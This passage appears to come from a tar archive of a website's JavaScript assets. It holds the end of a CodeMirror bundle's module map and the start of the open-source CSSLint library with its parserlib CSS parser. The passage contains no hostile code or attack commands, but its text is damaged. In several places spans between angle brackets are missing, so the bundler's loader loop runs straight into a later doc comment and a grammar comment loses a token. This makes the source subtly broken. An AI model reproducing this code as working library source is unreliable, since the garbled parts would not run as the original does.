irror/mode/clike/clike.js":60,"../../../node_modules/codemirror/mode/css/css.js":61,"../../../node_modules/codemirror/mode/diff/diff.js":62,"../../../node_modules/codemirror/mode/gfm/gfm.js":63,"../../../node_modules/codemirror/mode/htmlmixed/htmlmixed.js":64,"../../../node_modules/codemirror/mode/http/http.js":65,"../../../node_modules/codemirror/mode/javascript/javascript.js":66,"../../../node_modules/codemirror/mode/jsx/jsx.js":67,"../../../node_modules/codemirror/mode/markdown/markdown.js":68,"../../../node_modules/codemirror/mode/meta.js":69,"../../../node_modules/codemirror/mode/nginx/nginx.js":70,"../../../node_modules/codemirror/mode/php/php.js":71,"../../../node_modules/codemirror/mode/sass/sass.js":72,"../../../node_modules/codemirror/mode/shell/shell.js":73,"../../../node_modules/codemirror/mode/sql/sql.js":74,"../../../node_modules/codemirror/mode/xml/xml.js":75,"../../../node_modules/codemirror/mode/yaml/yaml.js":76}]},{},[77]);js/codemirror/csslint.js000064400001314261147177035020011360 0ustar00/*! CSSLint v1.0.4 Copyright (c) 2016 Nicole Sullivan and Nicholas C. Zakas. All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ var CSSLint = (function(){ var module = module || {}, exports = exports || {}; /*! Parser-Lib Copyright (c) 2009-2016 Nicholas C. Zakas. All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /* Version v1.1.0, Build time: 6-December-2016 10:31:29 */ var parserlib = (function () { var require; require=(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o). * @namespace parserlib.css * @class Combinator * @extends parserlib.util.SyntaxUnit * @constructor * @param {String} text The text representation of the unit. * @param {int} line The line of text on which the unit resides. * @param {int} col The column of text on which the unit resides. */ function Combinator(text, line, col) { SyntaxUnit.call(this, text, line, col, Parser.COMBINATOR_TYPE); /** * The type of modifier. * @type String * @property type */ this.type = "unknown"; //pretty simple if (/^\s+$/.test(text)) { this.type = "descendant"; } else if (text === ">") { this.type = "child"; } else if (text === "+") { this.type = "adjacent-sibling"; } else if (text === "~") { this.type = "sibling"; } } Combinator.prototype = new SyntaxUnit(); Combinator.prototype.constructor = Combinator; },{"../util/SyntaxUnit":26,"./Parser":6}],3:[function(require,module,exports){ "use strict"; module.exports = Matcher; var StringReader = require("../util/StringReader"); var SyntaxError = require("../util/SyntaxError"); /** * This class implements a combinator library for matcher functions. * The combinators are described at: * https://developer.mozilla.org/en-US/docs/Web/CSS/Value_definition_syntax#Component_value_combinators */ function Matcher(matchFunc, toString) { this.match = function(expression) { // Save/restore marks to ensure that failed matches always restore // the original location in the expression. var result; expression.mark(); result = matchFunc(expression); if (result) { expression.drop(); } else { expression.restore(); } return result; }; this.toString = typeof toString === "function" ? toString : function() { return toString; }; } /** Precedence table of combinators. */ Matcher.prec = { MOD: 5, SEQ: 4, ANDAND: 3, OROR: 2, ALT: 1 }; /** Simple recursive-descent grammar to build matchers from strings. */ Matcher.parse = function(str) { var reader, eat, expr, oror, andand, seq, mod, term, result; reader = new StringReader(str); eat = function(matcher) { var result = reader.readMatch(matcher); if (result === null) { throw new SyntaxError( "Expected "+matcher, reader.getLine(), reader.getCol()); } return result; }; expr = function() { // expr = oror (" | " oror)* var m = [ oror() ]; while (reader.readMatch(" | ") !== null) { m.push(oror()); } return m.length === 1 ? m[0] : Matcher.alt.apply(Matcher, m); }; oror = function() { // oror = andand ( " || " andand)* var m = [ andand() ]; while (reader.readMatch(" || ") !== null) { m.push(andand()); } return m.length === 1 ? m[0] : Matcher.oror.apply(Matcher, m); }; andand = function() { // andand = seq ( " && " seq)* var m = [ seq() ]; while (reader.readMatch(" && ") !== null) { m.push(seq()); } return m.length === 1 ? m[0] : Matcher.andand.apply(Matcher, m); }; seq = function() { // seq = mod ( " " mod)* var m = [ mod() ]; while (reader.readMatch(/^ (?![&|\]])/) !== null) { m.push(mod()); } return m.length === 1 ? m[0] : Matcher.seq.apply(Matcher, m); }; mod = function() { // mod = term ( "?" | "*" | "+" | "#" | "{,}" )? var m = term(); if (reader.readMatch("?") !== null) { return m.question(); } else if (reader.readMatch("*") !== null) { return m.star(); } else if (reader.readMatch("+") !== null) { return m.plus(); } else if (reader.readMatch("#") !== null) { return m.hash(); } else if (reader.readMatch(/^\{\s*/) !== null) { var min = eat(/^\d+/); eat(/^\s*,\s*/); var max = eat(/^\d+/); eat(/^\s*\}/); return m.braces(+min, +max); } return m; }; term = function() { // term = | literal | "[ " expression " ]" if (reader.readMatch("[ ") !== null) { var m = expr(); eat(" ]"); return m; } return Matcher.fromType(eat(/^[^ ?*+#{]+/)); }; result = expr(); if (!reader.eof()) { throw new SyntaxError( "Expected end of string", reader.getLine(), reader.getCol()); } return result; }; /** * Convert a string to a matcher (parsing simple alternations), * or do nothing if the argument is already a matcher. */ Matcher.cast = function(m) { if (m instanceof Matcher) { return m; } return Matcher.parse(m); }; /** * Create a matcher for a single type. */ Matcher.fromType = function(type) { // Late require of ValidationTypes to break a dependency cycle. var ValidationTypes = require("./ValidationTypes"); return new Matcher(function(expression) { return expression.hasNext() && ValidationTypes.isType(expression, type); }, type); }; /** * Create a matcher for one or more juxtaposed words, which all must * occur, in the given order. */ Matcher.seq = function() { var ms = Array.prototype.slice.call(arguments).map(Matcher.cast); if (ms.length === 1) { return ms[0]; } return new Matcher(function(expression) { var i, result = true; for (i = 0; result && i < ms.length; i++) { result = ms[i].match(expression); } return result; }, function(prec) { var p = Matcher.prec.SEQ; var s = ms.map(function(m) { return m.toString(p); }).join(" "); if (prec > p) { s = "[ " + s + " ]"; } return s; }); }; /** * Create a matcher for one or more alternatives, where exactly one * must occur. */ Matcher.alt = function() { var ms = Array.prototype.slice.call(arguments).map(Matcher.cast); if (ms.length === 1) { return ms[0]; } return new Matcher(function(expression) { var i, result = false; for (i = 0; !result && i < ms.length; i++) { result = ms[i].match(expression); } return result; }, function(prec) { var p = Matcher.prec.ALT; var s = ms.map(function(m) { return m.toString(p); }).join(" | "); if (prec > p) { s = "[ " + s + " ]"; } return s; }); }; /** * Create a matcher for two or more options. This implements the * double bar (||) and double ampersand (&&) operators, as well as * variants of && where some of the alternatives are optional. * This will backtrack through even successful matches to try to * maximize the number of items matched. */ Matcher.many = function(required) { var ms = Array.prototype.slice.call(arguments, 1).reduce(function(acc, v) { if (v.expand) { // Insert all of the options for the given complex rule as // individual options. var ValidationTypes = require("./ValidationTypes"); acc.push.apply(acc, ValidationTypes.complex[v.expand].options); } else { acc.push(Matcher.cast(v)); } return acc; }, []); if (required === true) { required = ms.map(function() { return true; }); } var result = new Matcher(function(expression) { var seen = [], max = 0, pass = 0; var success = function(matchCount) { if (pass === 0) { max = Math.max(matchCount, max); return matchCount === ms.length; } else { return matchCount === max; } }; var tryMatch = function(matchCount) { for (var i = 0; i < ms.length; i++) { if (seen[i]) { continue; } expression.mark(); if (ms[i].match(expression)) { seen[i] = true; // Increase matchCount iff this was a required element // (or if all the elements are optional) if (tryMatch(matchCount + ((required === false || required[i]) ? 1 : 0))) { expression.drop(); return true; } // Backtrack: try *not* matching using this rule, and // let's see if it leads to a better overall match. expression.restore(); seen[i] = false; } else { expression.drop(); } } return success(matchCount); }; if (!tryMatch(0)) { // Couldn't get a complete match, retrace our steps to make the // match with the maximum # of required elements. pass++; tryMatch(0); } if (required === false) { return max > 0; } // Use finer-grained specification of which matchers are required. for (var i = 0; i < ms.length; i++) { if (required[i] && !seen[i]) { return false; } } return true; }, function(prec) { var p = required === false ? Matcher.prec.OROR : Matcher.prec.ANDAND; var s = ms.map(function(m, i) { if (required !== false && !required[i]) { return m.toString(Matcher.prec.MOD) + "?"; } return m.toString(p); }).join(required === false ? " || " : " && "); if (prec > p) { s = "[ " + s + " ]"; } return s; }); result.options = ms; return result; }; /** * Create a matcher for two or more options, where all options are * mandatory but they may appear in any order. */ Matcher.andand = function() { var args = Array.prototype.slice.call(arguments); args.unshift(true); return Matcher.many.apply(Matcher, args); }; /** * Create a matcher for two or more options, where options are * optional and may appear in any order, but at least one must be * present. */ Matcher.oror = function() { var args = Array.prototype.slice.call(arguments); args.unshift(false); return Matcher.many.apply(Matcher, args); }; /** Instance methods on Matchers. */ Matcher.prototype = { constructor: Matcher, // These are expected to be overridden in every instance. match: function() { throw new Error("unimplemented"); }, toString: function() { throw new Error("unimplemented"); }, // This returns a standalone function to do the matching. func: function() { return this.match.bind(this); }, // Basic combinators then: function(m) { return Matcher.seq(this, m); }, or: function(m) { return Matcher.alt(this, m); }, andand: function(m) { return Matcher.many(true, this, m); }, oror: function(m) { return Matcher.many(false, this, m); }, // Component value multipliers star: function() { return this.braces(0, Infinity, "*"); }, plus: function() { return this.braces(1, Infinity, "+"); }, question: function() { return this.braces(0, 1, "?"); }, hash: function() { return this.braces(1, Infinity, "#", Matcher.cast(",")); }, braces: function(min, max, marker, optSep) { var m1 = this, m2 = optSep ? optSep.then(this) : this; if (!marker) { marker = "{" + min + "," + max + "}"; } return new Matcher(function(expression) { var result = true, i; for (i = 0; i < max; i++) { if (i > 0 && optSep) { result = m2.match(expression); } else { result = m1.match(expression); } if (!result) { break; } } return i >= min; }, function() { return m1.toString(Matcher.prec.MOD) + marker; }); } }; },{"../util/StringReader":24,"../util/SyntaxError":25,"./ValidationTypes":21}],4:[function(require,module,exports){ "use strict"; module.exports = MediaFeature; var SyntaxUnit = require("../util/SyntaxUnit"); var Parser = require("./Parser"); /** * Represents a media feature, such as max-width:500. * @namespace parserlib.css * @class MediaFeature * @extends parserlib.util.SyntaxUnit * @constructor * @param {SyntaxUnit} name The name of the feature. * @param {SyntaxUnit} value The value of the feature or null if none. */ function MediaFeature(name, value) { SyntaxUnit.call(this, "(" + name + (value !== null ? ":" + value : "") + ")", name.startLine, name.startCol, Parser.MEDIA_FEATURE_TYPE); /** * The name of the media feature * @type String * @property name */ this.name = name; /** * The value for the feature or null if there is none. * @type SyntaxUnit * @property value */ this.value = value; } MediaFeature.prototype = new SyntaxUnit(); MediaFeature.prototype.constructor = MediaFeature; },{"../util/SyntaxUnit":26,"./Parser":6}],5:[function(require,module,exports){ "use strict"; module.exports = MediaQuery; var SyntaxUnit = require("../util/SyntaxUnit"); var Parser = require("./Parser"); /** * Represents an individual media query. * @namespace parserlib.css * @class MediaQuery * @extends parserlib.util.SyntaxUnit * @constructor * @param {String} modifier The modifier "not" or "only" (or null). * @param {String} mediaType The type of media (i.e., "print"). * @param {Array} parts Array of selectors parts making up this selector. * @param {int} line The line of text on which the unit resides. * @param {int} col The column of text on which the unit resides. */ function MediaQuery(modifier, mediaType, features, line, col) { SyntaxUnit.call(this, (modifier ? modifier + " ": "") + (mediaType ? mediaType : "") + (mediaType && features.length > 0 ? " and " : "") + features.join(" and "), line, col, Parser.MEDIA_QUERY_TYPE); /** * The media modifier ("not" or "only") * @type String * @property modifier */ this.modifier = modifier; /** * The mediaType (i.e., "print") * @type String * @property mediaType */ this.mediaType = mediaType; /** * The parts that make up the selector. * @type Array * @property features */ this.features = features; } MediaQuery.prototype = new SyntaxUnit(); MediaQuery.prototype.constructor = MediaQuery; },{"../util/SyntaxUnit":26,"./Parser":6}],6:[function(require,module,exports){ "use strict"; module.exports = Parser; var EventTarget = require("../util/EventTarget"); var SyntaxError = require("../util/SyntaxError"); var SyntaxUnit = require("../util/SyntaxUnit"); var Combinator = require("./Combinator"); var MediaFeature = require("./MediaFeature"); var MediaQuery = require("./MediaQuery"); var PropertyName = require("./PropertyName"); var PropertyValue = require("./PropertyValue"); var PropertyValuePart = require("./PropertyValuePart"); var Selector = require("./Selector"); var SelectorPart = require("./SelectorPart"); var SelectorSubPart = require("./SelectorSubPart"); var TokenStream = require("./TokenStream"); var Tokens = require("./Tokens"); var Validation = require("./Validation"); /** * A CSS3 parser. * @namespace parserlib.css * @class Parser * @constructor * @param {Object} options (Optional) Various options for the parser: * starHack (true|false) to allow IE6 star hack as valid, * underscoreHack (true|false) to interpret leading underscores * as IE6-7 targeting for known properties, ieFilters (true|false) * to indicate that IE < 8 filters should be accepted and not throw * syntax errors. */ function Parser(options) { //inherit event functionality EventTarget.call(this); this.options = options || {}; this._tokenStream = null; } //Static constants Parser.DEFAULT_TYPE = 0; Parser.COMBINATOR_TYPE = 1; Parser.MEDIA_FEATURE_TYPE = 2; Parser.MEDIA_QUERY_TYPE = 3; Parser.PROPERTY_NAME_TYPE = 4; Parser.PROPERTY_VALUE_TYPE = 5; Parser.PROPERTY_VALUE_PART_TYPE = 6; Parser.SELECTOR_TYPE = 7; Parser.SELECTOR_PART_TYPE = 8; Parser.SELECTOR_SUB_PART_TYPE = 9; Parser.prototype = function() { var proto = new EventTarget(), //new prototype prop, additions = { __proto__: null, //restore constructor constructor: Parser, //instance constants - yuck DEFAULT_TYPE : 0, COMBINATOR_TYPE : 1, MEDIA_FEATURE_TYPE : 2, MEDIA_QUERY_TYPE : 3, PROPERTY_NAME_TYPE : 4, PROPERTY_VALUE_TYPE : 5, PROPERTY_VALUE_PART_TYPE : 6, SELECTOR_TYPE : 7, SELECTOR_PART_TYPE : 8, SELECTOR_SUB_PART_TYPE : 9, //----------------------------------------------------------------- // Grammar //----------------------------------------------------------------- _stylesheet: function() { /* * stylesheet * : [ CHARSET_SYM S* STRING S* ';' ]? * [S|CDO|CDC]* [ import [S|CDO|CDC]* ]* * [ namespace [S|CDO|CDC]* ]* * [ [ ruleset | media | page | font_face | keyframes_rule | supports_rule ] [S|CDO|CDC]* ]* * ; */ var tokenStream = this._tokenStream, count, token, tt; this.fire("startstylesheet"); //try to read character set this._charset(); this._skipCruft(); //try to read imports - may be more than one while (tokenStream.peek() === Tokens.IMPORT_SYM) { this._import(); this._skipCruft(); } //try to read namespaces - may be more than one while (tokenStream.peek() === Tokens.NAMESPACE_SYM) { this._namespace(); this._skipCruft(); } //get the next token tt = tokenStream.peek(); //try to read the rest while (tt > Tokens.EOF) { try { switch (tt) { case Tokens.MEDIA_SYM: this._media(); this._skipCruft(); break; case Tokens.PAGE_SYM: this._page(); this._skipCruft(); break; case Tokens.FONT_FACE_SYM: this._font_face(); this._skipCruft(); break; case Tokens.KEYFRAMES_SYM: this._keyframes(); this._skipCruft(); break; case Tokens.VIEWPORT_SYM: this._viewport(); this._skipCruft(); break; case Tokens.DOCUMENT_SYM: this._document(); this._skipCruft(); break; case Tokens.SUPPORTS_SYM: this._supports(); this._skipCruft(); break; case Tokens.UNKNOWN_SYM: //unknown @ rule tokenStream.get(); if (!this.options.strict) { //fire error event this.fire({ type: "error", error: null, message: "Unknown @ rule: " + tokenStream.LT(0).value + ".", line: tokenStream.LT(0).startLine, col: tokenStream.LT(0).startCol }); //skip braces count=0; while (tokenStream.advance([Tokens.LBRACE, Tokens.RBRACE]) === Tokens.LBRACE) { count++; //keep track of nesting depth } while (count) { tokenStream.advance([Tokens.RBRACE]); count--; } } else { //not a syntax error, rethrow it throw new SyntaxError("Unknown @ rule.", tokenStream.LT(0).startLine, tokenStream.LT(0).startCol); } break; case Tokens.S: this._readWhitespace(); break; default: if (!this._ruleset()) { //error handling for known issues switch (tt) { case Tokens.CHARSET_SYM: token = tokenStream.LT(1); this._charset(false); throw new SyntaxError("@charset not allowed here.", token.startLine, token.startCol); case Tokens.IMPORT_SYM: token = tokenStream.LT(1); this._import(false); throw new SyntaxError("@import not allowed here.", token.startLine, token.startCol); case Tokens.NAMESPACE_SYM: token = tokenStream.LT(1); this._namespace(false); throw new SyntaxError("@namespace not allowed here.", token.startLine, token.startCol); default: tokenStream.get(); //get the last token this._unexpectedToken(tokenStream.token()); } } } } catch (ex) { if (ex instanceof SyntaxError && !this.options.strict) { this.fire({ type: "error", error: ex, message: ex.message, line: ex.line, col: ex.col }); } else { throw ex; } } tt = tokenStream.peek(); } if (tt !== Tokens.EOF) { this._unexpectedToken(tokenStream.token()); } this.fire("endstylesheet"); }, _charset: function(emit) { var tokenStream = this._tokenStream, charset, token, line, col; if (tokenStream.match(Tokens.CHARSET_SYM)) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); tokenStream.mustMatch(Tokens.STRING); token = tokenStream.token(); charset = token.value; this._readWhitespace(); tokenStream.mustMatch(Tokens.SEMICOLON); if (emit !== false) { this.fire({ type: "charset", charset:charset, line: line, col: col }); } } }, _import: function(emit) { /* * import * : IMPORT_SYM S* * [STRING|URI] S* media_query_list? ';' S* */ var tokenStream = this._tokenStream, uri, importToken, mediaList = []; //read import symbol tokenStream.mustMatch(Tokens.IMPORT_SYM); importToken = tokenStream.token(); this._readWhitespace(); tokenStream.mustMatch([Tokens.STRING, Tokens.URI]); //grab the URI value uri = tokenStream.token().value.replace(/^(?:url\()?["']?([^"']+?)["']?\)?$/, "$1"); this._readWhitespace(); mediaList = this._media_query_list(); //must end with a semicolon tokenStream.mustMatch(Tokens.SEMICOLON); this._readWhitespace(); if (emit !== false) { this.fire({ type: "import", uri: uri, media: mediaList, line: importToken.startLine, col: importToken.startCol }); } }, _namespace: function(emit) { /* * namespace * : NAMESPACE_SYM S* [namespace_prefix S*]? [STRING|URI] S* ';' S* */ var tokenStream = this._tokenStream, line, col, prefix, uri; //read import symbol tokenStream.mustMatch(Tokens.NAMESPACE_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); //it's a namespace prefix - no _namespace_prefix() method because it's just an IDENT if (tokenStream.match(Tokens.IDENT)) { prefix = tokenStream.token().value; this._readWhitespace(); } tokenStream.mustMatch([Tokens.STRING, Tokens.URI]); /*if (!tokenStream.match(Tokens.STRING)){ tokenStream.mustMatch(Tokens.URI); }*/ //grab the URI value uri = tokenStream.token().value.replace(/(?:url\()?["']([^"']+)["']\)?/, "$1"); this._readWhitespace(); //must end with a semicolon tokenStream.mustMatch(Tokens.SEMICOLON); this._readWhitespace(); if (emit !== false) { this.fire({ type: "namespace", prefix: prefix, uri: uri, line: line, col: col }); } }, _supports: function(emit) { /* * supports_rule * : SUPPORTS_SYM S* supports_condition S* group_rule_body * ; */ var tokenStream = this._tokenStream, line, col; if (tokenStream.match(Tokens.SUPPORTS_SYM)) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); this._supports_condition(); this._readWhitespace(); tokenStream.mustMatch(Tokens.LBRACE); this._readWhitespace(); if (emit !== false) { this.fire({ type: "startsupports", line: line, col: col }); } while (true) { if (!this._ruleset()) { break; } } tokenStream.mustMatch(Tokens.RBRACE); this._readWhitespace(); this.fire({ type: "endsupports", line: line, col: col }); } }, _supports_condition: function() { /* * supports_condition * : supports_negation | supports_conjunction | supports_disjunction | * supports_condition_in_parens * ; */ var tokenStream = this._tokenStream, ident; if (tokenStream.match(Tokens.IDENT)) { ident = tokenStream.token().value.toLowerCase(); if (ident === "not") { tokenStream.mustMatch(Tokens.S); this._supports_condition_in_parens(); } else { tokenStream.unget(); } } else { this._supports_condition_in_parens(); this._readWhitespace(); while (tokenStream.peek() === Tokens.IDENT) { ident = tokenStream.LT(1).value.toLowerCase(); if (ident === "and" || ident === "or") { tokenStream.mustMatch(Tokens.IDENT); this._readWhitespace(); this._supports_condition_in_parens(); this._readWhitespace(); } } } }, _supports_condition_in_parens: function() { /* * supports_condition_in_parens * : ( '(' S* supports_condition S* ')' ) | supports_declaration_condition | * general_enclosed * ; */ var tokenStream = this._tokenStream, ident; if (tokenStream.match(Tokens.LPAREN)) { this._readWhitespace(); if (tokenStream.match(Tokens.IDENT)) { // look ahead for not keyword, if not given, continue with declaration condition. ident = tokenStream.token().value.toLowerCase(); if (ident === "not") { this._readWhitespace(); this._supports_condition(); this._readWhitespace(); tokenStream.mustMatch(Tokens.RPAREN); } else { tokenStream.unget(); this._supports_declaration_condition(false); } } else { this._supports_condition(); this._readWhitespace(); tokenStream.mustMatch(Tokens.RPAREN); } } else { this._supports_declaration_condition(); } }, _supports_declaration_condition: function(requireStartParen) { /* * supports_declaration_condition * : '(' S* declaration ')' * ; */ var tokenStream = this._tokenStream; if (requireStartParen !== false) { tokenStream.mustMatch(Tokens.LPAREN); } this._readWhitespace(); this._declaration(); tokenStream.mustMatch(Tokens.RPAREN); }, _media: function() { /* * media * : MEDIA_SYM S* media_query_list S* '{' S* ruleset* '}' S* * ; */ var tokenStream = this._tokenStream, line, col, mediaList;// = []; //look for @media tokenStream.mustMatch(Tokens.MEDIA_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); mediaList = this._media_query_list(); tokenStream.mustMatch(Tokens.LBRACE); this._readWhitespace(); this.fire({ type: "startmedia", media: mediaList, line: line, col: col }); while (true) { if (tokenStream.peek() === Tokens.PAGE_SYM) { this._page(); } else if (tokenStream.peek() === Tokens.FONT_FACE_SYM) { this._font_face(); } else if (tokenStream.peek() === Tokens.VIEWPORT_SYM) { this._viewport(); } else if (tokenStream.peek() === Tokens.DOCUMENT_SYM) { this._document(); } else if (tokenStream.peek() === Tokens.SUPPORTS_SYM) { this._supports(); } else if (tokenStream.peek() === Tokens.MEDIA_SYM) { this._media(); } else if (!this._ruleset()) { break; } } tokenStream.mustMatch(Tokens.RBRACE); this._readWhitespace(); this.fire({ type: "endmedia", media: mediaList, line: line, col: col }); }, //CSS3 Media Queries _media_query_list: function() { /* * media_query_list * : S* [media_query [ ',' S* media_query ]* ]? * ; */ var tokenStream = this._tokenStream, mediaList = []; this._readWhitespace(); if (tokenStream.peek() === Tokens.IDENT || tokenStream.peek() === Tokens.LPAREN) { mediaList.push(this._media_query()); } while (tokenStream.match(Tokens.COMMA)) { this._readWhitespace(); mediaList.push(this._media_query()); } return mediaList; }, /* * Note: "expression" in the grammar maps to the _media_expression * method. */ _media_query: function() { /* * media_query * : [ONLY | NOT]? S* media_type S* [ AND S* expression ]* * | expression [ AND S* expression ]* * ; */ var tokenStream = this._tokenStream, type = null, ident = null, token = null, expressions = []; if (tokenStream.match(Tokens.IDENT)) { ident = tokenStream.token().value.toLowerCase(); //since there's no custom tokens for these, need to manually check if (ident !== "only" && ident !== "not") { tokenStream.unget(); ident = null; } else { token = tokenStream.token(); } } this._readWhitespace(); if (tokenStream.peek() === Tokens.IDENT) { type = this._media_type(); if (token === null) { token = tokenStream.token(); } } else if (tokenStream.peek() === Tokens.LPAREN) { if (token === null) { token = tokenStream.LT(1); } expressions.push(this._media_expression()); } if (type === null && expressions.length === 0) { return null; } else { this._readWhitespace(); while (tokenStream.match(Tokens.IDENT)) { if (tokenStream.token().value.toLowerCase() !== "and") { this._unexpectedToken(tokenStream.token()); } this._readWhitespace(); expressions.push(this._media_expression()); } } return new MediaQuery(ident, type, expressions, token.startLine, token.startCol); }, //CSS3 Media Queries _media_type: function() { /* * media_type * : IDENT * ; */ return this._media_feature(); }, /** * Note: in CSS3 Media Queries, this is called "expression". * Renamed here to avoid conflict with CSS3 Selectors * definition of "expression". Also note that "expr" in the * grammar now maps to "expression" from CSS3 selectors. * @method _media_expression * @private */ _media_expression: function() { /* * expression * : '(' S* media_feature S* [ ':' S* expr ]? ')' S* * ; */ var tokenStream = this._tokenStream, feature = null, token, expression = null; tokenStream.mustMatch(Tokens.LPAREN); feature = this._media_feature(); this._readWhitespace(); if (tokenStream.match(Tokens.COLON)) { this._readWhitespace(); token = tokenStream.LT(1); expression = this._expression(); } tokenStream.mustMatch(Tokens.RPAREN); this._readWhitespace(); return new MediaFeature(feature, expression ? new SyntaxUnit(expression, token.startLine, token.startCol) : null); }, //CSS3 Media Queries _media_feature: function() { /* * media_feature * : IDENT * ; */ var tokenStream = this._tokenStream; this._readWhitespace(); tokenStream.mustMatch(Tokens.IDENT); return SyntaxUnit.fromToken(tokenStream.token()); }, //CSS3 Paged Media _page: function() { /* * page: * PAGE_SYM S* IDENT? pseudo_page? S* * '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S* * ; */ var tokenStream = this._tokenStream, line, col, identifier = null, pseudoPage = null; //look for @page tokenStream.mustMatch(Tokens.PAGE_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); if (tokenStream.match(Tokens.IDENT)) { identifier = tokenStream.token().value; //The value 'auto' may not be used as a page name and MUST be treated as a syntax error. if (identifier.toLowerCase() === "auto") { this._unexpectedToken(tokenStream.token()); } } //see if there's a colon upcoming if (tokenStream.peek() === Tokens.COLON) { pseudoPage = this._pseudo_page(); } this._readWhitespace(); this.fire({ type: "startpage", id: identifier, pseudo: pseudoPage, line: line, col: col }); this._readDeclarations(true, true); this.fire({ type: "endpage", id: identifier, pseudo: pseudoPage, line: line, col: col }); }, //CSS3 Paged Media _margin: function() { /* * margin : * margin_sym S* '{' declaration [ ';' S* declaration? ]* '}' S* * ; */ var tokenStream = this._tokenStream, line, col, marginSym = this._margin_sym(); if (marginSym) { line = tokenStream.token().startLine; col = tokenStream.token().startCol; this.fire({ type: "startpagemargin", margin: marginSym, line: line, col: col }); this._readDeclarations(true); this.fire({ type: "endpagemargin", margin: marginSym, line: line, col: col }); return true; } else { return false; } }, //CSS3 Paged Media _margin_sym: function() { /* * margin_sym : * TOPLEFTCORNER_SYM | * TOPLEFT_SYM | * TOPCENTER_SYM | * TOPRIGHT_SYM | * TOPRIGHTCORNER_SYM | * BOTTOMLEFTCORNER_SYM | * BOTTOMLEFT_SYM | * BOTTOMCENTER_SYM | * BOTTOMRIGHT_SYM | * BOTTOMRIGHTCORNER_SYM | * LEFTTOP_SYM | * LEFTMIDDLE_SYM | * LEFTBOTTOM_SYM | * RIGHTTOP_SYM | * RIGHTMIDDLE_SYM | * RIGHTBOTTOM_SYM * ; */ var tokenStream = this._tokenStream; if (tokenStream.match([Tokens.TOPLEFTCORNER_SYM, Tokens.TOPLEFT_SYM, Tokens.TOPCENTER_SYM, Tokens.TOPRIGHT_SYM, Tokens.TOPRIGHTCORNER_SYM, Tokens.BOTTOMLEFTCORNER_SYM, Tokens.BOTTOMLEFT_SYM, Tokens.BOTTOMCENTER_SYM, Tokens.BOTTOMRIGHT_SYM, Tokens.BOTTOMRIGHTCORNER_SYM, Tokens.LEFTTOP_SYM, Tokens.LEFTMIDDLE_SYM, Tokens.LEFTBOTTOM_SYM, Tokens.RIGHTTOP_SYM, Tokens.RIGHTMIDDLE_SYM, Tokens.RIGHTBOTTOM_SYM])) { return SyntaxUnit.fromToken(tokenStream.token()); } else { return null; } }, _pseudo_page: function() { /* * pseudo_page * : ':' IDENT * ; */ var tokenStream = this._tokenStream; tokenStream.mustMatch(Tokens.COLON); tokenStream.mustMatch(Tokens.IDENT); //TODO: CSS3 Paged Media says only "left", "center", and "right" are allowed return tokenStream.token().value; }, _font_face: function() { /* * font_face * : FONT_FACE_SYM S* * '{' S* declaration [ ';' S* declaration ]* '}' S* * ; */ var tokenStream = this._tokenStream, line, col; //look for @page tokenStream.mustMatch(Tokens.FONT_FACE_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); this.fire({ type: "startfontface", line: line, col: col }); this._readDeclarations(true); this.fire({ type: "endfontface", line: line, col: col }); }, _viewport: function() { /* * viewport * : VIEWPORT_SYM S* * '{' S* declaration? [ ';' S* declaration? ]* '}' S* * ; */ var tokenStream = this._tokenStream, line, col; tokenStream.mustMatch(Tokens.VIEWPORT_SYM); line = tokenStream.token().startLine; col = tokenStream.token().startCol; this._readWhitespace(); this.fire({ type: "startviewport", line: line, col: col }); this._readDeclarations(true); this.fire({ type: "endviewport", line: line, col: col }); }, _document: function() { /* * document * : DOCUMENT_SYM S* * _document_function [ ',' S* _document_function ]* S* * '{' S* ruleset* '}' * ; */ var tokenStream = this._tokenStream, token, functions = [], prefix = ""; tokenStream.mustMatch(Tokens.DOCUMENT_SYM); token = tokenStream.token(); if 